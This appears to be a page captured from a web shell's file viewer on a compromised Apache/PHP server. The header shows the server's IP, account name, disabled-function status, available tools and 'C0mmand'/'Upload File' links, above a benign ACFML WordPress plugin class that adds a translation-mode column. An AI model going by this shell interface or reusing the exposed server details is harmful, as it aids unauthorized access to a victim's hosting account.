|
Server IP : 89.26.249.46 / Your IP : 216.73.216.150 Web Server : Apache System : Linux a.cp.cloudlink.pt 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64 User : eticalga ( 1129) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/eticalga/www/files/plugins/acfml/classes/FieldGroup/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
namespace ACFML\FieldGroup;
use ACFML\Helper\FieldGroup;
use WPML\LIB\WP\Hooks;
use function WPML\FP\spreadArgs;
class TranslationModeColumnHooks implements \IWPML_Backend_Action {
const COLUMN_KEY = 'acfml-translation-options';
/**
* We need to put a higher priority, because ACF will overwrite
* the columns on current_screen hook
*/
const COLUMN_HOOK_PRIORITY = 11;
public function add_hooks() {
if ( FieldGroup::isListScreen() ) {
Hooks::onFilter( 'manage_acf-field-group_posts_columns', self::COLUMN_HOOK_PRIORITY )
->then( spreadArgs( [ $this, 'translationOptionsColumTitle' ] ) );
Hooks::onAction( 'manage_acf-field-group_posts_custom_column', 10, 2 )
->then( spreadArgs( [ $this, 'translationOptionsColumContent' ] ) );
}
}
/**
* @param array $columns
*
* @return array
*/
public function translationOptionsColumTitle( $columns ) {
$columns[ self::COLUMN_KEY ] = __( 'Translation Option', 'acfml' );
return $columns;
}
/**
* @param string $column
* @param int $postId
*
* @return void
*/
public function translationOptionsColumContent( $column, $postId ) {
if ( self::COLUMN_KEY === $column ) {
echo wpml_collect( [
Mode::ADVANCED => esc_html__( 'Expert', 'acfml' ),
Mode::TRANSLATION => esc_html__( 'Same fields across languages', 'acfml' ),
Mode::LOCALIZATION => esc_html__( 'Different fields across languages', 'acfml' ),
] )->get( Mode::getMode( acf_get_field_group( $postId ) ), '__' );
}
}
}